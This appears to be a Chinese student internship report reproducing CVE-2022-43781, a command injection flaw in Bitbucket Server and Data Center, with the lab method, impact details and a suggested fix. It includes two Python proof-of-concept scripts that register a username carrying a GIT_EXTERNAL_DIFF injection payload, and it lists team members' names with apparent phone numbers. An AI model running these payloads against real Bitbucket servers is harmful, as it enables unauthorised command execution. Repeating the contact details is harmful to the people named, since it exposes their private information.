**南开大学 实习实训漏洞复现报告**

**1.漏洞复现结论（15分）**

南开大学的安全人员采用科学的漏洞复现步骤于2024年7月15日至2024年7月25日对Bitbucket Server 和 Data Center进行了全面深入的漏洞复现。

本次共发现漏洞1个，其高危漏洞1个，中危漏洞0个,低危漏洞0个。

|  |  |  |
| --- | --- | --- |
| **序号** | **漏洞名称** | **风险值** |
| 1 | Bitbucket Server 和 Data Center存在命令注入漏洞  CVE-2022-43781 | 严重 |

**1.1 风险等级分布**

本次评估漏洞的详细风险等级分布如下：

**2. 工作计划（25分）**

**2.1 工作人员**

|  |  |  |  |
| --- | --- | --- | --- |
| 序号 | 职务 | 姓名 | 联系方式 |
| 1 | 组长 | 侯博文 | 13022498745 |
| 2 | 组员 | 陆皓喆 | 15058298819 |
| 3 | 组员 | 郝志成 | 15063560713 |
| 4 | 组员 | 秦德龙 | 16622753767 |
| 5 | 组员 | 胡博浩 | 18270856986 |

**2. 2 漏洞对象**

7.0 到 7.21的版本。如果在bitbucket.properties中设置了mesh.enabled=false ，则 Bitbucket Server和 Data Center 的8.0 至 8.4 版也会受到此漏洞的影响

**2.3 漏洞复现阶段**

|  |  |
| --- | --- |
| 项目阶段 | 工作内容 |
| 环境搭建 | 利用 Docker 拉取 Bitbucket Server 镜像 - 构建并运行容器 |
| 代码分析 | 下载高版本已修复漏洞版本进行 diff 对比，使用 diff 软件进行文件和代码比对，定位漏洞位置 |
| 漏洞触发 | 设置恶意用户名并注册用户利用恶意用户名触发命令注入 验证命令注入效果 |
| Poc编写 | 通过编写py脚本实现漏洞的部分验证过程自动化 |
| Poc测试 | 测试poc的效果 |

**2.4 风险等级**

|  |  |  |
| --- | --- | --- |
| 编号 | 风险等级 | 风险描述 |
| 1 | 高危 | 受影响的Bitbucket Server 和 Data Center版本存在使用环境变量的命令注入漏洞，具有控制其用户名权限的攻击者可以在系统上执行任意命令。 |

**3.漏洞复现过程（35分）**

在本地配置好docker环境后，根据实际的IP地址修改POC脚本，然后执行编写好的POC脚本，进入容器中验证：发现/tmp/test文件成功创建，表明漏洞复现成功！

**3.1 风险管理及规避**

暂时关闭帐号注册功能，关闭ssh远程连接，快速修复存在的漏洞点

**3.2 测试方法**

利用diff进行高低版本代码对比，找到可能出现漏洞的代码点，利用远程java调试，观察输入的payload会发生什么变化。

**3.3 测试中所用的工具**

Diff代码对比工具，docker容器，idea调试，burpsuite抓包，git进行远程连接

**4.漏洞复现结果（25分）**

**4.1 POC插件编写**

## 4.1.1 若注册正常用户

import requests  
  
# 创建一个会话对象，以保持会话  
session = requests.Session()  
  
# 第一步：发送POST请求进行注册  
register\_url = 'http://localhost:7990/setup'  
register\_headers = {  
 'Host': 'localhost:7990',  
 'Content-Length': '165',  
 'Cache-Control': 'max-age=0',  
 'sec-ch-ua': '"Not?A\_Brand";v="8", "Chromium";v="108"',  
 'sec-ch-ua-platform': '"Windows"',  
 'Upgrade-Insecure-Requests': '1',  
 'Origin': 'http://localhost:7990',  
 'Content-Type': 'application/x-www-form-urlencoded',  
 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36',  
 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9',  
 'Sec-Fetch-Site': 'same-origin',  
 'Sec-Fetch-Mode': 'navigate',  
 'Sec-Fetch-User': '?1',  
 'Sec-Fetch-Dest': 'document',  
 'Referer': 'http://localhost:7990/login?nextUrl=%2Fdashboard',  
 'Accept-Encoding': 'gzip, deflate',  
 'Accept-Language': 'zh-CN,zh;q=0.9',  
 'Connection': 'close'  
}  
  
register\_data = {  
 'j\_username': 'rceGIT\_EXTERNAL\_DIFF=touch${BIFS}/tmp/pwned-git-ssh',  
 'j\_password': '123456',  
 '\_atl\_remember\_me': 'on',  
 'queryString': 'nextUrl=%2Fdashboard',  
 'submit': 'Log+in'  
}  
  
# 发送注册请求并保持会话  
response = session.post(register\_url, headers=register\_headers, data=register\_data)  
print(response.text)  
print("注册成功")

## 4.1.1 若注册恶意用户，需要直接利用socket进行发包

import requests  
import socket  
  
def send\_http\_request(host, port, request):  
 with socket.socket(socket.AF\_INET, socket.SOCK\_STREAM) as sock:  
 sock.connect((host, port))  
 sock.sendall(request.encode('utf-8'))  
 response = b""  
 while True:  
 data = sock.recv(4096)  
 if not data:  
 break  
 response += data  
 return response.decode('utf-8')  
  
# 设置请求参数  
host = 'localhost'  
port = 7990  
request\_line = 'POST /setup HTTP/1.1\r\n'  
headers = [  
 'Host: localhost:7990',  
 'Content-Length: 96',  
 'Cache-Control: max-age=0',  
 'sec-ch-ua: "Not?A\_Brand";v="8", "Chromium";v="108"',  
 'sec-ch-ua-platform: "Windows"',  
 'Upgrade-Insecure-Requests: 1',  
 'Origin: http://localhost:7990',  
 'Content-Type: application/x-www-form-urlencoded',  
 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36',  
 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9',  
 'Sec-Fetch-Site: same-origin',  
 'Sec-Fetch-Mode: navigate',  
 'Sec-Fetch-User: ?1',  
 'Sec-Fetch-Dest: document',  
 'Referer: http://localhost:7990/login?nextUrl=%2Fdashboard',  
 'Accept-Encoding: gzip, deflate',  
 'Accept-Language: zh-CN,zh;q=0.9',  
 'Connection: close',  
 'Cookie: sessionid=your\_session\_id; csrftoken=your\_csrf\_token'  
]  
  
body = 'j\_username=rceGIT\_EXTERNAL\_DIFF=touch${IFS}/tmp/pwned-git-ssh&j\_password=123456&\_atl\_remember\_me=on&queryString=nextUrl=%2Fdashboard&submit=Log+in'  
  
# 计算Content-Length  
content\_length = len(body)  
headers[1] = f'Content-Length: {content\_length}'  
  
http\_request = request\_line + '\r\n'.join(headers) + '\r\n\r\n' + body  
  
# 打印调试信息  
print("HTTP 请求:")  
print(http\_request)  
print("\n")  
  
# 发送HTTP请求  
response = send\_http\_request(host, port, http\_request)  
print("HTTP 响应:")  
print(response)  
print("注册成功")

**4.2 漏洞信息**

根据原始报告、漏洞报告以及OWASP TOP 10漏洞信息描述，填写如下表格。

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| **UVD-ID** | 未知 | **漏洞类别** | 命令注入 | **CVE-ID** | CVE-2022-43781 |
| **披露/发现时间** | 2022年11月16日 | **bugtraq编号** | 未知 | **CNNVD-ID：** | 未知 |
| **提交时间** | 2022年11月17日 | **漏洞发现者** | 未知 | **CNVD-ID：** | 未知 |
| **漏洞等级** | 严重（Critical）CVSS 基础分数为 9.8​ ​ | **提交者** | NVD | **搜索关键词** | Bitbucket Server, Data Center, Command Injection, CVE-2022-43781 |
| **影响范围** | Bitbucket Server 和 Data Center 7.0 到 7.21 所有版本  Bitbucket Server 和 Data Center 8.0 到 8.4（如果 mesh.enabled=false 在 bitbucket.properties 中设置）​ | | | | |
| **来源** | NVD | | | | |
| **漏洞简介** | 此漏洞涉及 Bitbucket Server 和 Data Center 中使用环境变量的命令注入漏洞。攻击者可以通过控制用户名来利用此问题，在系统上执行任意代码。如果 Bitbucket Server 和 Data Center 实例启用了“允许公开注册”（Allow public signup），则此漏洞可以在未经身份验证的情况下被利用​ | | | | |
| **漏洞详情** | Bitbucket Server 和 Data Center 的某些版本中存在命令注入漏洞，允许攻击者通过环境变量注入恶意命令以执行任意代码。此漏洞的利用不需要用户交互，并且可以在远程进行攻击 | | | | |
| **参考链接** | <https://confluence.atlassian.com/kb/faq-for-cve-2022-43781-1167751653.html>https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-security-advisory-2022-11-16-1180141667.html | | | | |
| **靶场信息** | 无，可用docker进行本地搭建 | | | | |
| **POC** | 参考之前提供的 PoC 脚本以演示漏洞的利用方式。 | | | | |
| **修复方案** | 在java源代码加上用户名验证，并且将用户名的注册和环境变量的赋值分开 | | | | |